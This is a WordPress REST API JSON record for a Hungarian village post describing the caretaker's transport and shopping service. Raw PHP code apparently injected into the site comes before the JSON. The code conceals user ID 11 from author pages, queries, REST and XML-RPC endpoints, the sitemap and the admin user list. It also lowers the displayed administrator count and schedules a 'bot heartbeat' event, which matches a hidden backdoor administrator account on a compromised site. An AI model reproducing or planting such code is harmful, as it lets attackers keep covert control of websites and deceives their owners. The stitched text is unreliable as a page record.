add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":993,"date":"2021-02-22T14:00:21","date_gmt":"2021-02-22T14:00:21","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=993"},"modified":"2021-02-22T14:01:47","modified_gmt":"2021-02-22T14:01:47","slug":"tajekoztatas-a-falugondnoki-szolgaltatasrol","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2021\/02\/22\/tajekoztatas-a-falugondnoki-szolgaltatasrol\/","title":{"rendered":"T\u00e1j\u00e9koztat\u00e1s a falugondnoki szolg\u00e1ltat\u00e1sr\u00f3l"},"content":{"rendered":"\n<p>A szolg\u00e1ltat\u00e1st ig\u00e9nybev\u00e9tel\u00e9re jogosultak k\u00f6re: <\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>betegek, <\/li><li>mozg\u00e1skorl\u00e1tozottak, <\/li><li>kismam\u00e1k, <\/li><li>id\u0151sek, <\/li><li>akik sz\u00e1m\u00e1ra a k\u00f6zleked\u00e9s eg\u00e9szs\u00e9gi \u00e1llapotuk, <\/li><li>\u00e9letkoruk miatt neh\u00e9zs\u00e9get okoz, <\/li><li>egy\u00e9ni \u00e9lethelyzet\u00fck \u00e9s szoci\u00e1lis helyzet\u00fck miatt neh\u00e9zs\u00e9get okoz.<\/li><\/ul>\n\n\n\n<p><strong>Eg\u00e9szs\u00e9g\u00fcgyi Int\u00e9zm\u00e9nybe sz\u00e1ll\u00edt\u00e1s<\/strong>:<br>Minden h\u00e9ten szerdai napon 8:00 \u00f3rai indul\u00e1ssal a Polg\u00e1rmesteri Hivatalt\u00f3l ( A szakrendel\u00e9sre \u00e9rdemes szerdai napra k\u00e9rni az id\u0151pontot)<\/p>\n\n\n\n<p><strong>Gy\u00f3gyszerkiv\u00e1lt\u00e1s<\/strong>:<br>Minden h\u00f3nap 3. h\u00e9t szerdai napon 9:00 \u00f3rai indul\u00e1ssal a Polg\u00e1rmesteri Hivatalt\u00f3l<\/p>\n\n\n\n<p><strong>Nagybev\u00e1s\u00e1rl\u00e1s, hivatalos \u00fcgyek int\u00e9z\u00e9se P\u00e9terv\u00e1s\u00e1r\u00e1n: <\/strong><br>Minden h\u00e9ten kedd \u00e9s p\u00e9ntek 9:00 \u00f3rai indul\u00e1ssal a Polg\u00e1rmesteri Hivatalt\u00f3l<\/p>\n\n\n\n<p><strong>Napi beszerz\u00e9sek: <\/strong>A mindennapi meg\u00e9lhet\u00e9shez sz\u00fcks\u00e9ges \u00e1ruk ( alapvet\u0151 \u00e9lelmiszerek beszerz\u00e9se \u00e9s h\u00e1zhoz sz\u00e1ll\u00edt\u00e1sa ) Ig\u00e9ny\u00fcket k\u00e9rem id\u0151ben jelezz\u00e9k, ha a bev\u00e1s\u00e1rl\u00e1st szeretn\u00e9k ig\u00e9nybe venni <br>Feladatell\u00e1t\u00e1s rendszeress\u00e9ge: Hetente k\u00e9tszer, h\u00e9tf\u0151n \u00e9s p\u00e9nteken<\/p>\n\n\n\n<p><strong>A szolg\u00e1ltat\u00e1s ig\u00e9nybev\u00e9tel\u00e9t k\u00e9rem id\u0151ben jelezz\u00e9k, mivel a busz 8 szem\u00e9ly sz\u00e1ll\u00edt\u00e1s\u00e1ra alkalmas!<\/strong><\/p>\n\n\n\n<p>A falugondnokkal az al\u00e1bbi el\u00e9rhet\u0151s\u00e9gen vehetik fel a kapcsolatot:<\/p>\n\n\n\n<p>Nagy Ferenc falugondnok: 06-30-529-2125<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A szolg\u00e1ltat\u00e1s ig\u00e9nybev\u00e9tel\u00e9t k\u00e9rem id\u0151ben jelezz\u00e9k, mivel a busz 8 szem\u00e9ly sz\u00e1ll\u00edt\u00e1s\u00e1ra alkalmas!<br \/>\nNagy Ferenc falugondnok: 06-30-529-2125<\/p>\n","protected":false},"author":1,"featured_media":994,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-993","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=993"}],"version-history":[{"count":3,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/993\/revisions"}],"predecessor-version":[{"id":999,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/993\/revisions\/999"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media\/994"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=993"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}